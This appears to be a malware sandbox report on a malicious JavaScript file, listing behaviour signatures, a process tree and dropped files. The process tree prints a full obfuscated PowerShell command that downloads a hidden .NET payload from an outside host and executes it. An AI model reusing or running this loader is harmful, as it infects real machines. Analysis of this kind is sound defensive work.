Overview

overview

10

Static

static

1

wegivingbe...ces.js

windows10-2004-x64

10

wegivingbe...ces.js

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    121s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260618-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    22/06/2026, 15:35

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    wegivingbestsolutionsforbetterplaces.js
  • Size 39KB
  • Sample260622-s1ftvses21
  • SHA256 daf2410a4e6da576f80df9cfd4b69eb8b2ee74c49948a501d6618063c7950437
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 40 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\wegivingbestsolutionsforbetterplaces.js
    1⤵
      PID:5808
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdfdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGkAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEkAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAOgAvAC8AawBpAGMAawBzAHQAcgBlAGEAbgAuAGEAcgB0AC8AMQAuAGoAcABnACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8ANgA2AC4ANgAzAC4AMQA3ADAALgAzADMALwBpAG0AZwAvADEALgBqAHAAZwAnACkAKQANAAoAaQBmACgAKAAkAGcAPQBkACAAJABf#ACkALQBhAG4AZAAoACQAdAA9AFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGcAKQApAC0AbQBhAHQAYwBoACcAPAA8AFMAVABBACcAIAAf#ACAAJwBSAFQAPgA+ACgALgAqAD8AKQA8ADwARQBOAEQAPgA+ACcAKQB7AA0ACgAgACAAJABnAGcAZgAgAD0AIAAnADkANAA0AGsAMgBWAC8AdwBhAHIALwBsAGEALgBzAGEALwAvADoAcwBnAHMAZgBoAGYAcwBmAHMAZAAnACAAOwAgACQAZwBnAGYAIAA9ACAAJABnAGcAZgAuAFMAdQBiAHMAdAByAGkAbgBnACgAMAAsACAAJABnAGcAZgAuAEwAZQBuAGcAdABoACAALQAgADkAKQANAAoAJABsACAAPQAgACcAMAAnACAAOwANAAoAIAAgACAAIABpACAAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATQBhAHQAYwBoAGUAcwBbADEAXQApACkAIAAnAG0AeQBwAHIAbwBnAHIAYQBtAC4ASABvAG0AZQBlAHMAJwAgACcAcgB1AG4AcwBzACcAIABAACgAJABnAGcAZgAsACAAJABsACwAIAAnACcALAAgACcATQBzAGIAdQBpAGwAZAAnACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQANAAoAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAfABzAG8AcgB0ACAAQwBQAFUAIAAtAGQAZQBzAGMAfABzAGUAbABlAGMAdAAgAC0AZgBpAHIAcwB0ACAANQB8AGYAdAAgAE4AYQBtAGUALABDAFAAVQAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgAA==';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5zn3c0d4\5zn3c0d4.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1616
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF826.tmp" "c:\Users\Admin\AppData\Local\Temp\5zn3c0d4\CSC359850CA2CC43A381BF7AE9F2C031C.TMP"
          3⤵
            PID:5848
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1408
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:812
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:4904
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2104

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 595B
            • SHA256 d4e60617c2afab8263febabe7f14f18595715078d71307a8cefe0707dae76dee
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            5zn3c0d4.dll
            • Path C:\Users\Admin\AppData\Local\Temp\5zn3c0d4\5zn3c0d4.dll
            • Size 3KB
            • SHA256 5cf763fc2f7f23ff278ce8970a220ff941bef23ccd851020b10f9b77511e2b64
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            RESF826.tmp
            • Path C:\Users\Admin\AppData\Local\Temp\RESF826.tmp
            • Size 1KB
            • SHA256 7e0e09c8bd4432045faa7f3b574e42448e1129e391b9e4d6b3f73efbb0b1a6dd
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            5zn3c0d4.0.cs
            • Path \??\c:\Users\Admin\AppData\Local\Temp\5zn3c0d4\5zn3c0d4.0.cs
            • Size 185B
            • SHA256 5660f4c929a98fae86209065fcc2f6fd0c817bb731ca7e4966d2079e6da7e81d
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            5zn3c0d4.cmdline
            • Path \??\c:\Users\Admin\AppData\Local\Temp\5zn3c0d4\5zn3c0d4.cmdline
            • Size 369B
            • SHA256 a3f6a56fcc9989622e948973276789b90b5fa8eaeedf56cbb45ad8488e4203c7
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            CSC359850CA2CC43A381BF7AE9F2C031C.TMP
            • Path \??\c:\Users\Admin\AppData\Local\Temp\5zn3c0d4\CSC359850CA2CC43A381BF7AE9F2C031C.TMP
            • Size 652B
            • SHA256 0e540ff684c8cd60d08daeac18dfad6f87e662c4ce82211fbdad53cc5eb591b6
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/2104-215-0x0000019E53000000-0x0000019E53691000-memory.dmp
            Download

            memory/4440-29-0x000001FFDA410000-0x000001FFDA418000-memory.dmp
            Download

            memory/4440-4-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-11-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-12-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-13-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-14-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-15-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-16-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-9-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-0-0x00007FFF3D11F000-0x00007FFF3D120000-memory.dmp
            Download

            memory/4440-6-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-8-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-31-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-10-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-5-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-32-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-33-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-3-0x000001FFDA3B0000-0x000001FFDA3D2000-memory.dmp
            Download

            memory/4440-220-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4440-7-0x00007FFF3CF90000-0x00007FFF3D934000-memory.dmp
            Download

            memory/4904-41-0x0000013D801E0000-0x0000013D802E0000-memory.dmp
            Download

            memory/4904-84-0x0000013D83C70000-0x0000013D83C90000-memory.dmp
            Download

            memory/4904-42-0x0000013D801E0000-0x0000013D802E0000-memory.dmp
            Download

            memory/4904-40-0x0000013D801E0000-0x0000013D802E0000-memory.dmp
            Download

            memory/4904-67-0x0000013D93D90000-0x0000013D93E90000-memory.dmp
            Download

            memory/4904-66-0x0000013D83930000-0x0000013D83950000-memory.dmp
            Download

            memory/4904-100-0x0000013D94210000-0x0000013D94230000-memory.dmp
            Download